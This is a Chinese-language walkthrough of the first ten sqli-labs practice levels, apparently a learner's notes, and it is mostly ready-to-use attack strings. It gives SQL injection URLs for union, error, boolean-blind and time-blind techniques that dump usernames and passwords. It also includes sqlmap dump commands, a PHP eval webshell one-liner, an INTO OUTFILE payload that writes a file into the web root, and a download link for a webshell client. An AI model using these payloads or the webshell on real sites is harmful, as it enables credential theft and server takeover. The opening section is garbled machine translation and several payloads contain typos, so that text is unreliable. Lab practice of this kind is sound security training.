すべてのGETタイプオフ1-10:あなたが開始することができますオフファースト
MYSQL の基本的な使い方:
查库:information_schema.schemataから選択SCHEMA_NAME。
查表:INFORMATION_SCHEMA.TABLESから選択TABLE_NAMEここTABLE_SCHEMA = 'セキュリティ';(库名)
查列:information_schema.columnsから選択COLUMN_NAMEここTABLE_NAME = 'ユーザ';(表名)
検索フィールド:選択したユーザー名、パスワードsecurity.usersから。
01レス: ?上記のid上=「1」単一引用符で包まれました
?ID = 1「に表示される情報は、エラー・インジェクションの脆弱性を示します
?ID = 1'or 1 = 1 - +ノーマルエコー、請求 - コメント+です
限界0,1; 0など最初の数字から始まる最初のものは、最初から開始表し、第1ビットのデータが何を示しています
場合3によって順 - +テーブルは3つだけを持っていることを示し、エコーのみであろう
?+ - のid = 1組合は、1,2,3を選択
?+プラス否定的なコメントを示す番号 - ID = -1組合は1,2,3を選択
?ID = -1' 組合1,2を選択し、information_schema.schemataからGROUP_CONCAT(SCHEMA_NAME) - +
使用GROUP_CONCAT()関数の行に提示されたデータを取得します
また、使用することができます
?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 0,1--+
?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 1,1--+
?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 2,1--+
通过改变limit 第一位的数(0,1,2)来获得回显的数据
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1'union select 1,2,group_concat(password) from security.users--+
?id=-1'union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+
通过使用concat_ws(‘~’,A,B)可以使两个同时显示
总结
Less-02: ?id=1 没有进行包裹
?id=1 开始后面的操作
?id=1 order by 3--+
?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1 union select 1,2,group_concat(concat('~',username,password)) from security.users--+
Less-03:使用(‘1’)进行包裹
?id=1’) 进行下面的操作(之后跟Less-01一样)
?id=1’)order by 3--+
?id=-1’)union select 1,2,group_concat(schema_name)from information_schema.schemata --+
?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1’) union select 1,2,group_concat(concat('~',username,password)) from security.users--+
Less-04:使用(“1”)进行包裹
?id=1”)进行下面的操作(之后跟Less-01一样)
?id=1”) order by 3--+
?id=-1”) union select 1,2,group_concat(schema_name)from information_schema.schemata --+
?id=-1”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1") union select 1,2,group_concat(concat('~',username,password)) from security.users--+
补充基础知识
1. left(a,b)左侧截取a的前b位,正确则返回1,错误则返回o
Select left(database(),1)=’s’;
其中database()为security,截取的是第一个字母’s’,正确返回1
2. regexp函数 select user() regexp ‘r’;
user()的结果是root, regexp 为匹配root的正则表达式(实验之后正确返回为1,错误返回0)
3. like函数 select user() like’ro%’; 用法与regexp一样
4. substr(a,b,c) select substr() XXx
Substr(a,b,c)从位置b开始,截取a字符串c位长度
5. ascii() 将某个字符串转化为ascii值 select ascii(‘s’);
6. chr(数字) 或者是 ord(‘字母’)
使用python中的两 个函数可以判断当前的ascii值是多少
对于security数据库: (打开SQL命令 输入use security)
select left (database(),1)=’s’; 前1位是否是s
select database() regexp ’s’; 匹配第1个字符是否是s
select database() like ‘s%’; 匹配第1 个字符是否是s
select substr((select database()),1,1)=’s’; select database()表示security
substr((security),1,1)从第一位开始截取security的1位长度
即匹配第一个字符是否是s
select substr((select database()),1,3)=’sec’; 匹配前三个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显115 ;
select ascii(substr((select database()),1,1))>110; 如果大于110,就会返回1,否则返回0.
总结:
Less-05:使用’1’进行包裹
输入?id=1时候 回显结果为You are in…………
因为没有账号 密码的信息 所以这个时候不能再用union select
?id=1' and left((select database()),1)='s'--+ 判断数据库第一个字符是不是s
使用sqlmap工具进行注入
(Sql-map使用教程https://www.cnblogs.com/ichunqiu/p/5805108.html)
python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql –batch 得到下图信息
爆出数据库名
python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql –batch --dbs
爆出security数据库中的所有表名
python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql -D security -–tables --batch
爆出users表中所有的字段
python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql -D security –T users --columns --batch
爆出用户的信息
python sqlmap.py -u http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1 --technique UE --dbms mysql -D security –T users –C username,password --dump --batch
通过二分法 查询库的名(其中红色数字可变)
http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>10--+
http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'andascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=99--+ 回显结果为 You are in ……….
查询security下的所有表
http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'andascii(substr((select table_name from information_schema.tables where table_schema ='s' limit 1,1),1,1))>1--+
查询users内的所有字段
http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'andascii(substr((select column_name from information_schema.columns where table_name =’users’limit 1,1),1,1))>1--+
查询字段内的值
http://localhost/sqli-labs-master/sqli-labs-master/Less-5/?id=1'and ascii(substr((select username from security.users limit 1,1),1,1))>1--+
Less-06:?id=1” 操作与第五关相同
补充小知识: Show variables like ‘%secure%’;
secure_file_priv 显示为空,会禁止数据导入导出
解决方法:打开phpstudy——mysql——my.ini——添加一句:secure_file_priy=”/”
<?php eval($_POST[g]);?>
Load_file() 读取本地文件
Select load_file(‘C:\\phpstudy\\WWW\\test.txt’);
Into outfile 写文件 文件位置:C:\phpstudy\mysql\data
Select ‘mysql is very good’into outfile ‘test.txt’;
Less-07: ?id=1’)) 进行操作
需要下载中国菜刀
链接:https://pan.baidu.com/s/1A4v42kL0ieu3ZtHZJZ1FoQ
提取码:v369
http://localhost/sqli-labs-master/sqli-labs-master/Less-7/?id=1')) union select 1,2, 'crow' into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\sqli-labs-master\\Less-7\\test.php'--+
打开菜刀,右键添加,写入127.0.0.1/test.php 就可以了
Less-08: 布尔盲注
?id=1’ 进行操作 其他操作跟第五关一样进行猜测就可以
第二种方法: 时间盲注
Sleep(秒数) 睡眠几秒再显示
select if(ascii(substr((select database()),1,1))>10,2,3)
http://localhost/sqli-labs-master/sqli-labs-master/Less-8/?id=1' and if(length(database())=8,1,sleep(5))--+当时间为8时候很快加载出来,为其他时候加载需要5秒
Less-09: ?id=1’
?id=1 或者?id=1’。。。发现前面所学的都试了之后,并没有报错
?id=1’ and sleep(5)--+ 我们使用这个语句时候,发现网页会停顿5秒,所以存在注入漏洞
之后使用第八关的时间盲注进行操作
http://localhost/sqli-labs-master/sqli-labs-master/Less-9/?id=1'and if(length(database())=8,1,sleep(5))--+ 修改红色部位的数,猜测数据库名有几位
http://localhost/sqli-labs-master/sqli-labs-master/Less-9/?id=1'and if(ascii(substr((select schema_name from information_schema.schemata limit 5,1)1,1))>12,1,sleep(5))--+
Less-10: ?id=1’’ 其余的跟第九关一样
http://localhost/sqli-labs-master/sqli-labs-master/Less-10/?id=1" and sleep(5)--+
还在学习中,有什么错误还望各位大佬给予指正!